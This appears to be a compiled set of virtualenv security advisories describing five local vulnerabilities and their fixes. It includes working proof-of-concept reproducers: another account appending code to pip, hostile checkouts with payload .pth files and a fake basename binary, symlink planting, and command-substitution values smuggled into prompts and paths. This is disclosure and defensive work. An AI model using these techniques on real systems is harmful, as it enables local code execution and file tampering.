Summary
The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments.
Anthropic's OSS Scanner reported this as ANT-2026-487MH6OW in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Permissions of files copied from app-data into a new environment.
Attacker-controlled input
The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed.
Affected code
The relevant 21.14.8 source is in copy helpers.
Mechanism
The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with shutil.copy(). That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask 000, a later environment created under umask 022 can receive mode-0666 pip files. The cache may be private while the new environment is reachable by other local accounts.
Reproduction and evidence
The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask 022; a later environment had no files writable by another account, and that account could not append to pip/init.py. In the attack history, the first run used umask 000 and the later run still used 022. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and bin/pip --version ran it as the environment owner. The cache itself remained under a mode-0700 home in both histories.
An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-002 cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. PR #3425 creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.
Attack sequence
mermaid sequenceDiagram participant U as Environment owner participant C as Private app-data cache participant E as Later environment participant A as Other local account U->>C: first seed extraction under umask 000 C-->>U: cached pip files have mode 0666 U->>E: create environment under umask 022 C->>E: shutil.copy reapplies mode 0666 A->>E: append code to pip/init.py U->>E: run bin/pip --version E-->>U: appended code runs as owner
Reproducer files
The following files are from the scanner report for ANT-2026-487MH6OW. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import glob import os import shutil import stat import subprocess import sys from pathlib import Path
sys.stdout.reconfigure(linebuffering=True) # keep these lines in order with those of the child processes os.umask(0o022) # for the directories made here as root OWNER, OTHERUSER = 1000, 65534 # root is only needed to switch to these two unprivileged uids VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check read here, as root: /tmp/repro.d need not be readable by the other user ATTACK = Path("/tmp/repro.d/otheruserappendstopip.py").readtext()
def runasowner(command, home, umask): environ = {"HOME": str(home), "PATH": os.environ["PATH"]} subprocess.run(command, user=OWNER, group=OWNER, extragroups=[], umask=umask, env=environ, cwd=home, check=True)
def mode(path): return stat.filemode(os.stat(path).stmode)
work = Path("/tmp/seed-mode-repro") shutil.rmtree(work, ignoreerrors=True) work.mkdir() proofs = work / "proofs" proofs.mkdir() proofs.chmod(0o777) # the other user's line writes the uid it runs as in here
writablebyothers, appendedlineranas = {}, {} the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv for case, umaskofearlierrun in [("CONTROL", 0o022), ("OBSERVED", 0o000)]: # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path home = work / f"{case}-home" home.mkdir(mode=0o700) os.chown(home, OWNER, OWNER) projects = work / f"{case}-projects" projects.mkdir(mode=0o755) os.chown(projects, OWNER, OWNER)
# owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it runasowner([VIRTUALENV, str(home / "earlier-env")], home, umask=umaskofearlierrun) # owner, today env = projects / "env" runasowner([VIRTUALENV, str(env)], home, umask=0o022)
(cachedpip,) = glob.glob(f"{home}/.cache/virtualenv/wheel//image/1/CopyPipInstall/pip-/pip/init.py") (seededpip,) = glob.glob(f"{env}/lib/python/site-packages/pip/init.py") envfiles = [path for path in env.rglob("") if path.isfile() and not path.issymlink()] writablebyothers[case] = sum(1 for path in envfiles if path.stat().stmode & stat.SIWOTH) print(f"{case} earlier run under umask {umaskofearlierrun:03o}, env created under umask 022") print(f"{case} cache pip/init.py {mode(cachedpip)}") print(f"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}") print(f"{case} env bin/activate {mode(env / 'bin' / 'activate')}") print(f"{case} env pip/init.py {mode(seededpip)}") print(f"{case} env files writable by others: {writablebyothers[case]} of {len(envfiles)}")
# attack: another local user appends a line to the owner's seeded pip proof = proofs / case subprocess.run( ["python3", "-", str(env), str(proof)], input=ATTACK, text=True, user=OTHERUSER, group=OTHERUSER, extragroups=[], env={"PATH": os.environ["PATH"]}, cwd="/", check=True, )
# the owner uses the environment runasowner([str(env / "bin" / "pip"), "--version"], home, umask=0o022) appendedlineranas[case] = proof.readtext() if proof.exists() else None print(f"{case} other user's line ran as uid: {appendedlineranas[case]}")
check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier controlisprivate = writablebyothers["CONTROL"] == 0 and appendedlineranas["CONTROL"] is None observedrunsasowner = writablebyothers["OBSERVED"] > 0 and appendedlineranas["OBSERVED"] == str(OWNER) print("BUG" if controlisprivate and observedrunsasowner else "OK")
repro.d/otheruserappendstopip.py
text import glob import sys
environment, proof = sys.argv[1:] (pipinit,) = glob.glob(f"{environment}/lib/python/site-packages/pip/init.py") addedline = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"
try: with open(pipinit, "a") as pipsource: pipsource.write(addedline) print(f"other user: appended a line to {pipinit}") except PermissionError as error: print(f"other user: {error}")
Impact
Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those accounts to be able to traverse the destination's parent directories. An attacker need not control the private source cache.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not preserved, including modes more restrictive than this creation policy.
Fix: PR #3425.
Known mitigation
Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were inherited from a permissive cache.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.
Summary
Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.
Affected area
Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation. It does not establish exposure through unrelated activators.
Attacker-controlled input
The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.
Affected code
The relevant 21.14.8 source is in bash prompt assembly.
Mechanism
bin/activate copies the prompt into PS1. A shell expands PS1 again when it draws a prompt, so the value must survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules. Three other paths still interpret prompt data as commands: dash sourcing activate directly, a child dash inheriting an exported PS1 from bash, and bash running at compatibility level 4.2 or lower. A value such as x$(touch MARKER)y then runs touch on prompt display. Creating the environment does not run the payload.
Reproduction and evidence
The scanner's child-shell reproducer creates an environment with --prompt 'x$(touch MARKER)y', sources bin/activate in interactive bash, and starts interactive sh (dash). Its control leaves PS1 unexported: neither shell creates MARKER. With PS1 exported, bash displays the prompt without executing the value, but the child dash creates MARKER; the reproducer ends in BUG. The report gives separate console reproductions for direct dash activation and bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported PS1.
The scanner linked this finding to #3326 and its follow-up #3390. Those changes cover the usual bash path but leave the three paths above. The proposed change in #3418 keeps a variable reference in PS1, so prompt text is expanded as data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.
Introduced
The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited PS1 to #3390 (first released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from the report; the release confirmed by the maintainer is 21.14.8.
Attack sequence
mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv participant B as Interactive bash participant D as Child dash A->>V: --prompt x$(touch MARKER)y V->>B: generated bin/activate B->>B: assign escaped prompt to PS1 alt PS1 is not exported B->>D: start sh with its own PS1 D-->>B: marker absent else PS1 is exported B->>D: start sh with inherited PS1 D->>D: expand $(touch MARKER) on prompt draw D-->>B: marker created end
Reproducer files
The following files are from the scanner report for ANT-2026-1MOI2X3T. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path
work = Path("/tmp/repro-inherited-ps1") shutil.rmtree(work, ignoreerrors=True) work.mkdir() marker = work / "MARKER" print("sh is", Path("/bin/sh").resolve())
attacker: only the text a tool such as tox or hatch relays as --prompt hostileprompt = f"x$(touch {marker})y"
set up: the environment, made with the virtualenv command subprocess.run( ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash", "--prompt", hostileprompt, str(work / "env")], check=True, stdout=subprocess.DEVNULL, ) assert not marker.exists(), "creating the environment must not run the prompt"
user: in an interactive bash, source bin/activate, then start sh. -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns session = Path("/tmp/repro.d/usersession.sh").readtext() interactivebash = ["bash", "--norc", "--noprofile", "-i"]
control: PS1 set in bash but not exported, so sh does not inherit it control = subprocess.run(interactivebash, input="PS1='\\$ '\n" + session, stderr=subprocess.PIPE, text=True, check=True) print(control.stderr) ranincontrol = marker.exists() print("CONTROL PS1 not exported: marker created:", ranincontrol)
attack: the same session with the one difference that PS1 is exported attack = subprocess.run(interactivebash, input="export PS1='\\$ '\n" + session, stderr=subprocess.PIPE, text=True, check=True) print(attack.stderr) raninattack = marker.exists() print("OBSERVED PS1 exported: marker created:", raninattack)
check: the prompt text must be drawn, never run, by every shell that draws it print("BUG" if raninattack and not ranincontrol else "OK")
repro.d/usersession.sh
text . /tmp/repro-inherited-ps1/env/bin/activate sh -i </dev/null
Impact
An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in GHSA-p58f-9548-mpm2. The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents.
Versions tested
The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.
Known mitigation
Use trusted prompt and destination values. On older releases, disable the environment prompt with VIRTUALENVDISABLEPROMPT=1. Recreate environments with virtualenv 21.14.9 or later.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
The original report was supplied by Anthropic's OSS Scanner as ANT-2026-1MOI2X3T. The subsequent maintainer-provided review identified the remaining activation path.
Summary
The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.
Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Configuration readback by the stdlib venv creator.
Attacker-controlled input
An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.
Affected code
The relevant 21.14.8 source is in venv readback, configuration parser.
Mechanism
With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.
Reproduction and evidence
The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys.home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys.home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.
The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.
Attack sequence
mermaid sequenceDiagram participant A as Destination supplier participant S as stdlib venv participant V as virtualenv readback participant C as Final pyvenv.cfg participant P as Environment Python A->>S: path contains U+2028 and home = /attacker/chosen S->>C: write path inside command value V->>C: read with splitlines() V->>V: parse suffix as separate keys V->>C: rewrite home and include-system-site-packages P->>C: read injected keys on startup C-->>P: sys.home changes and isolation is disabled
Reproducer files
The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import os import shutil import subprocess
work = "/tmp/repro-venv-creator-cfg" shutil.rmtree(work, ignoreerrors=True)
the attacker's input: the text of a destination path. U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader. The slashes only make nested directories; the last key, x, absorbs the rest of the path. LS = "\u2028" dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
basepython = os.path.realpath(shutil.which("python")) realhome = os.path.dirname(basepython)
def pyvenvcfglines(env): # split on "\n" only, as the interpreter does return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
def syshome(env): # site.py sets sys.home from the home key of the environment's pyvenv.cfg probe = [f"{env}/bin/python", "-c", "import sys; print(sys.home)"] return subprocess.run(probe, captureoutput=True, text=True, check=True).stdout.strip()
control: the same path through the standard library alone stdlibenv = dest + "-stdlib" subprocess.run([basepython, "-m", "venv", "--without-pip", stdlibenv], check=True)
attack: the same path through virtualenv; --creator venv is the one non-default option virtualenvenv = dest + "-virtualenv" created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenvenv]) if created.returncode != 0: # refusing such a destination is a valid fix print("virtualenv refused the destination") print("OK") raise SystemExit
check stdlibcfg, stdlibhome = pyvenvcfglines(stdlibenv), syshome(stdlibenv) virtualenvcfg, virtualenvhome = pyvenvcfglines(virtualenvenv), syshome(virtualenvenv)
print("CONTROL python -m venv wrote pyvenv.cfg:") for line in stdlibcfg: print(" " + ascii(line)) print(f"CONTROL python -m venv: sys.home = {stdlibhome}") print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:") for line in virtualenvcfg: print(" " + ascii(line)) print(f"OBSERVED virtualenv --creator venv: sys.home = {virtualenvhome}")
keysinjected = "home = /attacker/chosen" in virtualenvcfg and "include-system-site-packages = true" in virtualenvcfg print("BUG" if stdlibhome == realhome and keysinjected and virtualenvhome == "/attacker/chosen" else "OK")
Impact
Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.
Fix: PR #3426.
Known mitigation
Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.
Summary
The builtin creator accepts existing directory symlinks through ensuredir() and writes environment files through those directories. This permits writes outside the requested destination.
Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Directory preparation before environment files are created.
Attacker-controlled input
Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.
Affected code
The relevant 21.14.8 source is in builtin creator, ensuredir().
Mechanism
The builtin creator calls ensuredir() for bin, lib, and package directories. ensuredir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.
Reproduction and evidence
The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python, pip, and activate into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.
The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.
Attack sequence
mermaid sequenceDiagram participant A as Prepared destination participant V as Builtin creator participant L as venv/bin symlink participant H as ~/.local/bin participant U as User A->>L: point to ../../.local/bin V->>L: ensuredir accepts existing directory link V->>H: write python, pip and activate files through link V-->>U: creation reports success U->>H: run pip found on PATH H->>A: interpreter loads planted .pth A-->>U: marker created
Reproducer files
The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path
WORK = Path("/tmp/planted-bin-link") shutil.rmtree(WORK, ignoreerrors=True)
def usercreatesvenvincheckoutthenrunspip(home, makecheckout): localbin = home / ".local/bin" userenv = {"HOME": str(home), "PATH": f"{localbin}:{os.environ['PATH']}"} localbinbefore = set(os.listdir(localbin)) payloadmarker = home / "PWNED"
# the attacker's checkout arrives at ~/project subprocess.run([sys.executable, f"/tmp/repro.d/{makecheckout}", home / "project"], check=True) venv = home / "project/venv" print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
# default options; the flag only keeps the run off the network subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=userenv, check=True) written = sorted(set(os.listdir(localbin)) - localbinbefore) payloadranatcreation = payloadmarker.exists() print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}") print(f"OBSERVED virtualenv wrote to {localbin}: {written}") print(f"OBSERVED ~/PWNED exists after virtualenv: {payloadranatcreation}")
# later, in another folder, the user runs pip pip = subprocess.run(["pip", "--version"], cwd=home, env=userenv, captureoutput=True, text=True) print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}") print(f"OBSERVED ~/PWNED exists after pip: {payloadmarker.exists()}") return written, payloadmarker.exists() and not payloadranatcreation
print("--- checkoutwithbinlink.py: venv/bin -> ../../.local/bin") home = WORK / "bin-link" (home / ".local/bin").mkdir(parents=True) written1, pipranpayload1 = usercreatesvenvincheckoutthenrunspip(home, "checkoutwithbinlink.py")
print("--- checkoutwithbinlinkstayinginside.py: venv/bin resolves inside venv/ until pip is seeded") home = WORK / "bin-link-staying-inside" (home / ".local/bin").mkdir(parents=True) python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there (home / ".local/bin/python").symlinkto("/usr/local/bin/python3") written2, pipranpayload2 = usercreatesvenvincheckoutthenrunspip(home, "checkoutwithbinlinkstayinginside.py")
check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth plainlinkfollowed = {"pip", "activate"} <= set(written1) and pipranpayload1 linkstayinginsidefollowed = {"pip", "activate"} <= set(written2) and pipranpayload2 print("---") print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plainlinkfollowed}") print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {linkstayinginsidefollowed}") print("BUG" if plainlinkfollowed or linkstayinginsidefollowed else "OK")
repro.d/checkoutwithbinlink.py
text import sys from pathlib import Path
venv = Path(sys.argv[1]) / "venv"
one per minor version: the attacker does not know which Python the user has for minor in range(9, 20): sitepackages = venv / f"lib/python3.{minor}/site-packages" sitepackages.mkdir(parents=True) (sitepackages / "payload.pth").writetext("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
relative to a checkout at ~/project (venv / "bin").symlinkto("../../.local/bin")
repro.d/checkoutwithbinlinkstayinginside.py
text import sys from pathlib import Path
venv = Path(sys.argv[1]) / "venv"
sitepackages = venv / "lib/py/site-packages" sitepackages.mkdir(parents=True) (sitepackages / "payload.pth").writetext("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n") for minor in range(9, 20): (venv / f"lib/python3.{minor}").symlinkto("py")
pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below (venv / "1/2/3/4/5/6/7").mkdir(parents=True) (sitepackages / "pip").symlinkto("../../../1/2/3/4/5/6/7")
six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~ (venv / "1/.local/bin").mkdir(parents=True) (venv / "bin").symlinkto("lib/py/site-packages/pip" + "/.." 6 + "/.local/bin")
Impact
Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.
Fix: PR #3429.
Known mitigation
Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.
Summary
Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the existing path directly.
Anthropic's OSS Scanner reported this as ANT-2026-XBEOCBS1 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Final file entries written during environment creation and seeding.
Attacker-controlled input
Another account must be able to prepare file links in the destination before creation. The invoking user must have write permission at the linked target. The destination parent must remain controlled during creation; concurrent parent-directory replacement is a separate concern.
Affected code
The relevant 21.14.8 source is in template writer, configuration writer.
Mechanism
ViaTemplateActivator.generate() removes an existing output only when Path.exists() is true. A dangling symlink therefore survives, and writebytes() creates its target outside the environment. Other generated files have related final-entry behavior. PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing link; a symlink or hard link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's permission to write the linked target.
Reproduction and evidence
The scanner's project tree contains venv/bin/activate -> ../../../.bashaliases and an executable venv/bin/basename. Before creation, a new interactive bash does not create the marker. A plain virtualenv venv writes the activation script through the dangling link, creating ~/.bashaliases as a regular file. Debian's stock .bashrc sources that file; the next interactive bash adds venv/bin to PATH and the planted basename writes the marker. The reproducer checks that the link remains, ~/.bashaliases appears, and the second shell executes the planted file. A separate manual check links pyvenv.cfg to ~/.bashrc and observes the latter replaced with generated configuration text.
The link lets creation write outside the requested environment. The attacker chooses the target path but the generated bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first released in 20.0.0b1. PR #3431 replaces pre-existing output links and uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent directories during creation.
Attack sequence
mermaid sequenceDiagram participant A as Prepared project tree participant V as virtualenv writer participant H as User home participant B as Next interactive bash A->>V: venv/bin/activate links to missing ~/.bashaliases V->>V: Path.exists() follows link and returns false V->>H: write activation bytes through link H-->>B: ~/.bashaliases now exists B->>H: .bashrc sources ~/.bashaliases B->>A: PATH reaches planted venv/bin/basename A-->>B: marker created Note over V,H: pyvenv.cfg can also overwrite an existing linked target
Reproducer files
The following files are from the scanner report for ANT-2026-XBEOCBS1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import os import shutil import subprocess import sys import tempfile
set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bashaliases when that file exists home = tempfile.mkdtemp(prefix="home-") shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc") bashaliases = f"{home}/.bashaliases" marker = f"{home}/attacker-ran" openterminal = ["bash", "-i", "-c", "true"] terminalenv = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"}
the attacker's repository, cloned by the user to ~/proj checkout = f"{home}/proj" subprocess.run([sys.executable, "/tmp/repro.d/makehostilecheckout.py", checkout], check=True) activate = f"{checkout}/venv/bin/activate" print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True)
a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns) subprocess.run(openterminal, env=terminalenv, stderr=subprocess.DEVNULL, check=True) print("before virtualenv: ~/.bashaliases exists:", os.path.lexists(bashaliases), "| marker exists:", os.path.exists(marker), flush=True) assert not os.path.lexists(bashaliases) and not os.path.exists(marker)
trigger: the user creates an environment in the checkout, then opens a new terminal subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={os.environ, "HOME": home}, check=True) subprocess.run(openterminal, env=terminalenv, stderr=subprocess.DEVNULL, check=True)
check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bashaliases print("venv/bin/activate is still the symlink:", os.path.islink(activate)) writtenoutside = os.path.isfile(bashaliases) and not os.path.islink(bashaliases) print("~/.bashaliases created as a regular file:", writtenoutside) if writtenoutside: print(" its first line:", open(bashaliases).readline().rstrip()) attackercoderan = os.path.exists(marker) print("after a new terminal, marker exists:", attackercoderan) if attackercoderan: print(" it says:", open(marker).read().rstrip()) print("BUG" if writtenoutside and attackercoderan else "OK")
repro.d/fakebasename.sh
text #!/bin/sh echo "attacker code ran as $(id -un)" > "$HOME/attacker-ran" exec /usr/bin/basename "$@"
repro.d/makehostilecheckout.py
text import os import shutil import sys
checkout = sys.argv[1] bindir = os.path.join(checkout, "venv", "bin") os.makedirs(bindir)
venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bashaliases does not exist os.symlink("../../../.bashaliases", os.path.join(bindir, "activate"))
the bash activation script runs $(basename "$VIRTUALENV") right after putting venv/bin first on PATH fakebasename = os.path.join(bindir, "basename") shutil.copy(os.path.join(os.path.dirname(file), "fakebasename.sh"), fakebasename) os.chmod(fakebasename, 0o755)
Impact
Creation can overwrite or create files outside the requested environment with the invoking user's permissions. File contents are constrained by what virtualenv generates.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text files. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It then removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the configuration and ignore file paths. This also removes unrelated links directly in the executable directory. Final seed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib writes still require a destination protected from concurrent replacement.
Fix: PR #3431.
Known mitigation
Use a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.
Summary
A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not preserve it as literal data in the shell wrapper.
Affected area
POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper. Windows executable launchers are not affected by this path.
Attacker-controlled input
An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.
Affected code
The relevant 21.14.8 source is in ScriptMakerCustom.
Mechanism
The app-data seeder passes the environment's interpreter path through enquoteexecutable() to distlib's ScriptMaker. It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like '''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and activation do not trigger the shell payload.
Reproduction and evidence
The scanner created three environments: a control under my -touch PWNED- project, one under my $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the generated launcher, with the user's privileges, rather than during seeding.
The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2. PR #3417 quotes the raw interpreter path for the POSIX wrapper and repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up review reports that later path separately.
Attack sequence
